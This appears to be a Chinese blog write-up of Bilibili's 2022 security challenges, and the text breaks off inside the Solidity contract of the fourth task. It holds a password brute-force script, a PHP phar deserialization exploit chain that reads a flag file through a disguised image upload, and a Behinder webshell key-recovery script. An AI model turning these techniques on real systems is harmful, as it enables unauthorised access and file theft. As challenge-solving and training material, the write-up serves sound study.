【整理】B站安全攻防挑战赛Writeup

作者:Sec-Labs | 发布时间:

杂谈

之前看很多网友在群里讨论的非常激烈,现在这些题目还可以在线去做一下,如果不会可以考虑看下本篇文章

答题入口

https://security.bilibili.com/sec1024/

 

第一题

题目入口

https://security.bilibili.com/crack1/index

解题过程

首先,我们可以看到页面上的提示,里面告诉我们Take Care Of Your Memory!!!

如果你比较胆大,点一下登录就知道咯,页面会非常卡,而且CPU会突然变得很高!

并且我们看到这里的js代码还是颜文字

9a5455014f093333

针对颜文字,我们首先想到将其转换为可以阅读的js格式

我们可以使用解密工具,将其转换为可读的js

function SHA256(s) {
  const chrsz = 8
  const hexcase = 0

  function safe_add(x, y) {
    const lsw = (x & 0xFFFF) + (y & 0xFFFF)
    const msw = (x >> 16) + (y >> 16) + (lsw >> 16)
    return (msw << 16) | (lsw & 0xFFFF)
  }

  function S(X, n) {
    return (X >>> n) | (X << (32 - n))
  }

  function R(X, n) {
    return (X >>> n)
  }

  function Ch(x, y, z) {
    return ((x & y) ^ ((~x) & z))
  }

  function Maj(x, y, z) {
    return ((x & y) ^ (x & z) ^ (y & z))
  }

  function Sigma0256(x) {
    return (S(x, 2) ^ S(x, 13) ^ S(x, 22))
  }

  function Sigma1256(x) {
    return (S(x, 6) ^ S(x, 11) ^ S(x, 25))
  }

  function Gamma0256(x) {
    return (S(x, 7) ^ S(x, 18) ^ R(x, 3))
  }

  function Gamma1256(x) {
    return (S(x, 17) ^ S(x, 19) ^ R(x, 10))
  }

  function core_sha256(m, l) {
    const K = [0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, 0xE49B69C1, 0xEFBE4786, 0xFC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x6CA6351, 0x14292967, 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2]
    const HASH = [0x6A09E667, 0xBB67AE85, 0x3C6EF372, 0xA54FF53A, 0x510E527F, 0x9B05688C, 0x1F83D9AB, 0x5BE0CD19]
    const W = new Array(64)
    let a, b, c, d, e, f, g, h, i, j
    let T1, T2
    m[l >> 5] |= 0x80 << (24 - l % 32)
    m[((l + 64 >> 9) << 4) + 15] = l
    for (i = 0; i < m.length; i += 16) {
      a = HASH[0]
      b = HASH[1]
      c = HASH[2]
      d = HASH[3]
      e = HASH[4]
      f = HASH[5]
      g = HASH[6]
      h = HASH[7]
      for (j = 0; j < 64; j++) {
        if (j < 16) {
          W[j] = m[j + i]
        } else {
          W[j] = safe_add(safe_add(safe_add(Gamma1256(W[j - 2]), W[j - 7]), Gamma0256(W[j - 15])), W[j - 16])
        }
        T1 = safe_add(safe_add(safe_add(safe_add(h, Sigma1256(e)), Ch(e, f, g)), K[j]), W[j])
        T2 = safe_add(Sigma0256(a), Maj(a, b, c))
        h = g
        g = f
        f = e
        e = safe_add(d, T1)
        d = c
        c = b
        b = a
        a = safe_add(T1, T2)
      }
      HASH[0] = safe_add(a, HASH[0])
      HASH[1] = safe_add(b, HASH[1])
      HASH[2] = safe_add(c, HASH[2])
      HASH[3] = safe_add(d, HASH[3])
      HASH[4] = safe_add(e, HASH[4])
      HASH[5] = safe_add(f, HASH[5])
      HASH[6] = safe_add(g, HASH[6])
      HASH[7] = safe_add(h, HASH[7])
    }
    return HASH
  }

  function str2binb(str) {
    const bin = []
    const mask = (1 << chrsz) - 1
    for (let i = 0; i < str.length * chrsz; i += chrsz) {
      bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32)
    }
    return bin
  }

  function Utf8Encode(string) {
    string = string.replace(/\r\n/g, '\n')
    let utfText = ''
    for (let n = 0; n < string.length; n++) {
      const c = string.charCodeAt(n)
      if (c < 128) {
        utfText += String.fromCharCode(c)
      } else if ((c > 127) && (c < 2048)) {
        utfText += String.fromCharCode((c >> 6) | 192)
        utfText += String.fromCharCode((c & 63) | 128)
      } else {
        utfText += String.fromCharCode((c >> 12) | 224)
        utfText += String.fromCharCode(((c >> 6) & 63) | 128)
        utfText += String.fromCharCode((c & 63) | 128)
      }
    }
    return utfText
  }

  function binb2hex(binarray) {
    const hex_tab = hexcase ? '0123456789ABCDEF' : '0123456789abcdef'
    let str = ''
    for (let i = 0; i < binarray.length * 4; i++) {
      str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) +
        hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF)
    }
    return str
  }

  s = Utf8Encode(s)
  return binb2hex(core_sha256(str2binb(s), s.length * chrsz))
}


$(function () {
    $("#btn").click(function () {
        let username = document.getElementById('username').value.trim();
        let password = document.getElementById('password').value.trim();
        //let nonce = parseInt(Math.random()*9 + 23);
        let nonce = parseInt(Math.random()*100 + 9);
        let random = document.getElementById('random').value.trim();
        console.log(nonce);
        for (var i=0;i<Math.pow(2,255);i++) {
            let mystr = username + password + random + i.toString();
            var s256 = SHA256(mystr);
            var s256hex = parseInt(s256, 16)
            if (s256hex < Math.pow(2,(256-nonce))) {
                console.log("success!");
                console.log(mystr);
                console.log(s256);
                console.log(s256hex);
                $.ajax({
                    url: '/crack1/login',
                    type: 'POST',
                    data: JSON.stringify({
                        'username': username,
                        'password': password,
                        'nonce': nonce,
                        'random': random,
                        'proof': i.toString(),
                    }),
                    dataType: 'json',
                    contentType: "application/json",
                    success: function (data) {
                        console.log(data);
                    },
                    error: function (data) {
                        console.log(data);
                    }
                });
                break;
            }
        }
    })
});

如果你仔细分析代码,不难发现正是这里的循环导致了CPU大量的占用

for (var i=0;i<Math.pow(2,255);i++)

那么这种情况下,你可以修改代码,把循环注释掉,然后用手去尝试,比方说用console.log去打印,尝试一下哪些值是可以的

function SHA256(s) {
    const chrsz = 8
    const hexcase = 0
  
    function safe_add(x, y) {
      const lsw = (x & 0xFFFF) + (y & 0xFFFF)
      const msw = (x >> 16) + (y >> 16) + (lsw >> 16)
      return (msw << 16) | (lsw & 0xFFFF)
    }
  
    function S(X, n) {
      return (X >>> n) | (X << (32 - n))
    }
  
    function R(X, n) {
      return (X >>> n)
    }
  
    function Ch(x, y, z) {
      return ((x & y) ^ ((~x) & z))
    }
  
    function Maj(x, y, z) {
      return ((x & y) ^ (x & z) ^ (y & z))
    }
  
    function Sigma0256(x) {
      return (S(x, 2) ^ S(x, 13) ^ S(x, 22))
    }
  
    function Sigma1256(x) {
      return (S(x, 6) ^ S(x, 11) ^ S(x, 25))
    }
  
    function Gamma0256(x) {
      return (S(x, 7) ^ S(x, 18) ^ R(x, 3))
    }
  
    function Gamma1256(x) {
      return (S(x, 17) ^ S(x, 19) ^ R(x, 10))
    }
  
    function core_sha256(m, l) {
      const K = [0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, 0xE49B69C1, 0xEFBE4786, 0xFC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x6CA6351, 0x14292967, 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2]
      const HASH = [0x6A09E667, 0xBB67AE85, 0x3C6EF372, 0xA54FF53A, 0x510E527F, 0x9B05688C, 0x1F83D9AB, 0x5BE0CD19]
      const W = new Array(64)
      let a, b, c, d, e, f, g, h, i, j
      let T1, T2
      m[l >> 5] |= 0x80 << (24 - l % 32)
      m[((l + 64 >> 9) << 4) + 15] = l
      for (i = 0; i < m.length; i += 16) {
        a = HASH[0]
        b = HASH[1]
        c = HASH[2]
        d = HASH[3]
        e = HASH[4]
        f = HASH[5]
        g = HASH[6]
        h = HASH[7]
        for (j = 0; j < 64; j++) {
          if (j < 16) {
            W[j] = m[j + i]
          } else {
            W[j] = safe_add(safe_add(safe_add(Gamma1256(W[j - 2]), W[j - 7]), Gamma0256(W[j - 15])), W[j - 16])
          }
          T1 = safe_add(safe_add(safe_add(safe_add(h, Sigma1256(e)), Ch(e, f, g)), K[j]), W[j])
          T2 = safe_add(Sigma0256(a), Maj(a, b, c))
          h = g
          g = f
          f = e
          e = safe_add(d, T1)
          d = c
          c = b
          b = a
          a = safe_add(T1, T2)
        }
        HASH[0] = safe_add(a, HASH[0])
        HASH[1] = safe_add(b, HASH[1])
        HASH[2] = safe_add(c, HASH[2])
        HASH[3] = safe_add(d, HASH[3])
        HASH[4] = safe_add(e, HASH[4])
        HASH[5] = safe_add(f, HASH[5])
        HASH[6] = safe_add(g, HASH[6])
        HASH[7] = safe_add(h, HASH[7])
      }
      return HASH
    }
  
    function str2binb(str) {
      const bin = []
      const mask = (1 << chrsz) - 1
      for (let i = 0; i < str.length * chrsz; i += chrsz) {
        bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32)
      }
      return bin
    }
  
    function Utf8Encode(string) {
      string = string.replace(/\r\n/g, '\n')
      let utfText = ''
      for (let n = 0; n < string.length; n++) {
        const c = string.charCodeAt(n)
        if (c < 128) {
          utfText += String.fromCharCode(c)
        } else if ((c > 127) && (c < 2048)) {
          utfText += String.fromCharCode((c >> 6) | 192)
          utfText += String.fromCharCode((c & 63) | 128)
        } else {
          utfText += String.fromCharCode((c >> 12) | 224)
          utfText += String.fromCharCode(((c >> 6) & 63) | 128)
          utfText += String.fromCharCode((c & 63) | 128)
        }
      }
      return utfText
    }
  
    function binb2hex(binarray) {
      const hex_tab = hexcase ? '0123456789ABCDEF' : '0123456789abcdef'
      let str = ''
      for (let i = 0; i < binarray.length * 4; i++) {
        str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) +
          hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF)
      }
      return str
    }
  
    s = Utf8Encode(s)
    return binb2hex(core_sha256(str2binb(s), s.length * chrsz))
  }
  
  
  $(function () {
      $("#btn").click(function () {
          let username = document.getElementById('username').value.trim();
          let password = document.getElementById('password').value.trim();
          //let nonce = parseInt(Math.random()*9 + 23);
          //let nonce = parseInt(Math.random()*100 + 9);
          let nonce = 11;
          let random = document.getElementById('random').value.trim();
          console.log(nonce);
          console.log(random);
          console.log(username);
          console.log(password);
          var i = 1000
          console.log(i.toString());
          let mystr = username + password + random + i.toString();
          var s256 = SHA256(mystr);
          //var s256hex = parseInt(s256, 16);
          var s256hex = 3.6450306677141817e+71;
          console.log(mystr);
          console.log(s256);
          console.log(s256hex);
          console.log(Math.pow(2,(256-nonce)));
          if (s256hex < Math.pow(2,(256-nonce))) {
                   console.log("success!");
          }else{
            console.log("failure!")
          }
          // for (var i=0;i<Math.pow(2,255);i++) {
          //     let mystr = username + password + random + i.toString();
          //     var s256 = SHA256(mystr);
          //     var s256hex = parseInt(s256, 16)
          //     if (s256hex < Math.pow(2,(256-nonce))) {
          //         console.log("success!");
          //         console.log(mystr);
          //         console.log(s256);
          //         console.log(s256hex);
          //         $.ajax({
          //             url: '/crack1/login',
          //             type: 'POST',
          //             data: JSON.stringify({
          //                 'username': username,
          //                 'password': password,
          //                 'nonce': nonce,
          //                 'random': random,
          //                 'proof': i.toString(),
          //             }),
          //             dataType: 'json',
          //             contentType: "application/json",
          //             success: function (data) {
          //                 console.log(data);
          //             },
          //             error: function (data) {
          //                 console.log(data);
          //             }
          //         });
          //         break;
          //     }
          // }
      })
  });

最终我们会发现nonce 改到最小为 9 ,很快就可以搞出来结果,你可以写个Python的脚本,password.txt要自行准备,其实题目中也告诉我们了,应该是8位的密码

6705725f51094517

 

from time import sleep
import requests
import re
from hashlib import sha256

session = requests.session()
url = "https://security.bilibili.com&;quot;

def getPassList():
    #字典自备
    with open('passwd.txt', 'r') as f:
        list = f.read().split('\n')
    newList = []
    for word in list:
        if len(word) == 8:
            newList.append(word)
    return newList

def proofWork(passList):
    nonce = 9
    target = pow(2, 256-nonce)
    i = 0
    password = ''
    res = session.get(url + "/crack1/index")
    if(res.status_code != 200):
        print("have some error!")
        exit(0)
    randomValue = re.findall('value="(.*?)"', res.text)[0]
    for passwd in passList:
        while True:
            mystr = "admin" + passwd + randomValue + str(i)
            s256hex = int(sha256(mystr.encode()).hexdigest(), base=16)
            if s256hex < target:
                password = passwd
                break
            i += 1
        data = {
            "username": "admin",
            "password": password,
            "nonce": nonce,
            "random": randomValue,
            "proof": str(i)
        }
        print(f"当前password: {password}")
        while True:
            res = session.post(url + "/crack1/login", json=data)
            if res.status_code == 200:
                break
            else:
                print("post error! retry!")
                sleep(5)
        if "you don't proof your work" not in res.text:
            print(res.text)
            print(res.headers)
            return password, nonce, randomValue, i


if __name__ == '__main__':
    list = getPassList()
    password, nonce, randomValue, i = proofWork(list)
    print(f"password: {password}")
    print(f"nonce: {nonce}")
    print(f"random: {randomValue}")
    print(f"i: {i}")

最后试到Aa123456时,你会得到对应的flag

第二题

题目入口

http://42.192.54.239/index.php

解题过程

首先,在面对一个几乎空白的站点,你可能会满脸的问号,这个时候我们可以做一下目录扫描,譬如使用ffuf进行模糊测试,webshell.txt字典需要自行准备(如果没有可以在我们社区里搜下字典相关的帖子)

ffuf -u http://42.192.54.239/FUZZ -w webshell.txt

很快就可以发现upload.php文件

<?php
    header("content-type:text/html;charset=utf-8");

    date_default_timezone_set('PRC');

    if($_SERVER['REQUEST_METHOD']==='POST') {

        $filename = $_FILES['file']['name'];
        $temp_name = $_FILES['file']['tmp_name'];
        $size = $_FILES['file']['size'];
        $error = $_FILES['file']['error'];
        if ($size > 2*1024*1024){
            echo "<script>alert('文件过大');window.history.go(-1);</script>";
            exit();
        }

        $arr = pathinfo($filename);
        $ext_suffix = $arr['extension'];
        $allow_suffix = array('jpg','gif','jpeg','png');
        if(!in_array($ext_suffix, $allow_suffix)){
            echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
            exit();
        }

        $new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
        move_uploaded_file($temp_name, 'upload/'.$new_filename);
        echo "success save in: ".'upload/'.$new_filename;

    } else if ($_SERVER['REQUEST_METHOD']==='GET') {
        if (isset($_GET['c'])){
            include("5d47c5d8a6299792.php");
            $fpath = $_GET['c'];
            if(file_exists($fpath)){//可触发phar反序列化
                echo "file exists";
            } else {
                echo "file not exists";
            }
        } else {
            highlight_file(__FILE__);
        }
    }
 ?>

以及5d47c5d8a6299792.php

<?php
// flag in /tmp/flag.php
class Modifier {
    public function __invoke(){
        include("index.php");
    }
}
class Action {
    protected $checkAccess;
    protected $id;
    public function run()
    {
        if(strpos($this->checkAccess, 'upload') !== false){
            echo "error path";
            exit();
        }
        if ($this->id !== 0 && $this->id !== 1) {
            switch($this->id) {
                case 0:
                    if ($this->checkAccess) {
                        include($this->checkAccess);
                    }
                    break;
                case 1:
                    throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
                    break;
                default:
                    break;
            }
        }
    }
}
class Content {
    public $formatters;
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);
                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }
    public function __call($name, $arguments)
    {
        return call_user_func_array($this->getFormatter($name), $arguments);
    }
}
class Show{
    public $source;
    public $str;
    public $reader;
    public function __construct($file='index.php') {
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString() {
        $this->str->reset();
    }

    public function __wakeup() {

        if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
            throw new Exception('invalid protocol found in '.__CLASS__);
        }
    }
    public function reset() {
        if ($this->reader !== null) {
            $this->reader->close();
        }
    }
}
highlight_file(__FILE__); 作者:天真可爱路西法小天使 https://www.bilibili.com/read/cv19457507?from=search 出处:bilibili

这里应该是一个phar的漏洞

exp

<?php

class Action {
    protected $checkAccess;
    protected $id;
    public function __construct($checkAccess, $id)
    {
        $this->checkAccess = $checkAccess;
        $this->id = $id;
    }
}

class Content {
    public $formatters;//数组 array('close'=>array(new Action(), 'run'))

    public function __construct($formatters)
    {
        $this->formatters = $formatters;
    }

}

class Show{
    public $source;
    public $str;
    public $reader;
    public function __construct($source, $str, $reader) {
        $this->source = $source;
        $this->str = $str;
        $this->reader = $reader;
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$action = new Action('php://filter/read=convert.base64-encode/resource=/tmp/flag.php', '0');
$formatters = array('close' => array($action, 'run'));
$read = new Content($formatters);
$str = new Show('', '', $read);
$show1 = new Show('', $str, '');
$show0 = new Show($show1, '', '');

$phar->setMetadata($show0); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("./phar.phar", "./phar.jpg");

访问http://42.192.54.239/upload.php?c=phar://文件地址

得到base64结果

LyoqCiAqIGJpbGliaWxpQDIwMjIuCiAqIENvbmdyYXR1bGF0aW9ucyEgVGhpcyBpcyBUaGUgRmxhZyEKICogQXV0aDogSzNpb3ZlQGdpdGh1YgogKiBSZXBvOiAxMDI0LWNoZWVycwogKiBAbGluayBodHRwczovL3NlY3VyaXR5LmJpbGliaWxpLmNvbS8KICogQGxpY2Vuc2UgaHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tLwogKi8KCmZsYWcye1BoQXJfVGhlX2JFc1RfTGFuZ30=

4ec8896a5f100347

/**
 * bilibili@2022.
 * Congratulations! This is The Flag!
 * Auth: K3iove@github
 * Repo: 1024-cheers
 * @link https://security.bilibili.com/
 * @license https://www.bilibili.com/
 */

flag2{PhAr_The_bEsT_Lang}

 

第三题

题目下载

https://security.bilibili.com/sec1024/crack3/whatbehind.zip

解题过程

先使用http过滤pcap包

cfb9bbc12b100943

通常分析pcap包,我们可以使用追踪流

7c8c498930101345

然后看起来就会比较舒服

目测是冰蝎3.0+的流量

cceda809ba101422

exp

from base64 import b64decode

phrases = [
    "assert|eval(base64_decode('".encode(),
    b'<?\n@error_reporting(0);\n\nfunctio',
    b'<?\nfunction main($action, $remot',
    b'<?\n@error_reporting(0);\nset_time',
    b'\nerror_reporting(0);\n\nfunction m',
    b'<?\n@error_reporting(0);\n\n\nfuncti',
    b'<?\nerror_reporting(0);\nfunction ',
    b'@error_reporting(0);\nfunction ma',
    b'<?php\n\n$taskResult = array();\n$p',
    b"<?\nerror_reporting(0);\nheader('C",
    b'@error_reporting(0);\n\nfunction g',
    b'<?\n@error_reporting(0);\n@set_tim',
]


def xor(l0, l1):
    ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a, b in zip(l0, l1)]
    return "".join(ret)


def check(cipher):
    cipher = b64decode(cipher)
    for phrase in phrases:
        p0 = phrase[0:16]
        p1 = phrase[16:]
        c0 = cipher[0:16]
        c1 = cipher[16:16 + len(p1)]
        # 16 bits
        k0 = xor(p0, c0)
        k1 = xor(p1, c1)
        if (k1 in k0) and k1:
            return k0
    return None


def force_check(cipher):
    key = check(cipher)
    if key:
        print("[+]", cipher[:32], "is XOR Behinder Request! ")
        print("[+] The Key of Behinder is ", key)
        return True
    else:
        print("[-]", cipher[:32], "not Behinder Request..")
        return False


cipher_content = "加密报文"
for i in range(16, len(cipher_content), 4):     # 从第16个字节开始,每4个字节为一组
    cipher_content_slice = cipher_content[0:i]  # 从第0个字节开始,截取i个字节
    result = force_check(cipher_content_slice)  # 检查截取的字节是否符合规则
    if result:
        print(f'i:{i}')
        break
    print("behind XOR is not found")

第四题

题目入口

https://security.bilibili.com/static/img/back2.png
https://security.bilibili.com/static/img/back.png

 

解题过程

根据第一题中css的提示,告诉第四题的入口在我们的back.png中

/*where hidden crack4*/
    background: url("./img/back.png");

同时在我们完成第一题时,响应头里也告诉我们了back2.png也有一些线索

295fd9c46b102102

back2.pngback.png进行对比

cmp -bl back2.png back.png

 

d4e36befb6104616

 

我们发现有一个地址

sepolia@0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA

186e57cf17104722

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.12;

import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
//import "@openzeppelin/contracts/utils/Context.sol";


    struct Coupon {
        uint loankey;
        uint256 amount;
        address buser;
        bytes reason;
    }

    struct Signature {
        uint8 v;
        bytes32[2] rs;
    }

    struct SignCoupon {
        Coupon coupon;
        Signature signature;
    }


contract MyToken is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => uint) public _ebalances;
    mapping(address => uint) public ethbalances;

    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => uint) public _profited;
    mapping(address => uint) public _auth_one;
    mapping(address => uint) public _authd;
    mapping(address => uint) public _loand;
    mapping(address => uint) public _flag;
    mapping(address => uint) public _depositd;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address owner;
    address backup;
    uint secret;
    uint tokenprice;

    Coupon public c;

    address public lala;
    address public xixi;
    //mid = bilibili uid
    //b64email = base64(your email address)
    //Don't leak your bilibili uid
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string mid, string b64email);
    event changeprice(uint secret_);

    constructor(string memory name_, string memory symbol_, uint secret_) {
        _name = name_;
        _symbol = symbol_;
        owner = msg.sender;
        backup = msg.sender;
        tokenprice = 6;
        secret = secret_;
        _mint(owner, 2233102400);
    }

    modifier onlyowner() {
        require(msg.sender == owner);
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function deposit() public {
        require(_depositd[msg.sender] == 0, "you can only deposit once");
        _depositd[msg.sender] = 1;
        ethbalances[msg.sender] += 1;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }


    function setbackup() public onlyowner {
        owner = backup;
    }

    function ownerbackdoor() public {
        require(msg.sender == owner);
        _mint(owner, 1000);
    }

    function auth1(uint pass_) public {
        require(pass_ == secret, "auth fail");
        require(_authd[msg.sender] == 0, "already authd");
        _auth_one[msg.sender] += 1;
        _authd[msg.sender] += 1;
    }

    function auth2(uint pass_) public {
        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        require(pass == pass_, "password error, auth fail");
        require(_auth_one[msg.sender] == 1, "need pre auth");
        require(_authd[msg.sender] == 1, "already authd");
        _authd[msg.sender] += 1;
    }


    function payforflag(string memory mid, string memory b64email) public {
        require(_flag[msg.sender] == 2);
        emit sendflag(mid, b64email);
    }

    function flashloan(SignCoupon calldata scoupon) public {


        require(scoupon.coupon.loankey == 0, "loan key error");

        require(msg.sender == address(this), "hacker get out");
        Coupon memory coupon = scoupon.coupon;
        Signature memory sig = scoupon.signature;
        c = coupon;

        require(_authd[scoupon.coupon.buser] == 2, "need pre auth");

        require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
        require(scoupon.coupon.amount <= 300, "loan amount error");

        _loand[scoupon.coupon.buser] = 1;

        _ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
    }


    function profit() public {
        require(_profited[msg.sender] == 0);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, 1);
    }


    function borrow(uint amount) public {
        require(amount == 1);
        require(_profited[msg.sender] <= 1);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, amount);
    }


    function buy(uint amount) public {
        require(amount <= 300, "max buy count is 300");
        uint price;
        uint ethmount = _ebalances[msg.sender];
        if (ethmount < 10) {
            price = 1000000;
        } else if (ethmount >= 10 && ethmount <= 233) {
            price = 10000;
        } else {
            price = 1;
        }
        uint payment = amount * price;
        require(payment <= ethmount);
        _ebalances[msg.sender] -= payment;
        _transfer(owner, msg.sender, amount);
    }


    function sale(uint amount) public {
        require(_balances[msg.sender] >= amount, "fail to sale");
        uint earn = amount * tokenprice;
        _transfer(msg.sender, owner, amount);
        _ebalances[msg.sender] += earn;
    }

    function withdraw() public {
        require(ethbalances[msg.sender] >= 1);
        require(_ebalances[msg.sender] >= 1812);
        payable(msg.sender).call{value : 100000000000000000 wei}("");

        _ebalances[msg.sender] = 0;
        _flag[msg.sender] += 1;
    }


    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        require(msg.sender == owner);
        //不允许被owner以外调用
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        require(msg.sender == owner);
        //不允许被owner以外调用
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        require(msg.sender == owner);
        //不允许被owner以外调用
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    unchecked {
        _approve(owner, spender, currentAllowance - subtractedValue);
    }

        return true;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
    unchecked {
        _balances[from] = fromBalance - amount;
        // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
        // decrementing then incrementing.
        _balances[to] += amount;
    }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
    unchecked {
        // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
        _balances[account] += amount;
    }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
        _balances[account] = accountBalance - amount;
        // Overflow not possible: amount <= accountBalance <= totalSupply.
        _totalSupply -= amount;
    }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
        }
    }


    function _beforeTokenTransfer(
        address from,
        address to,
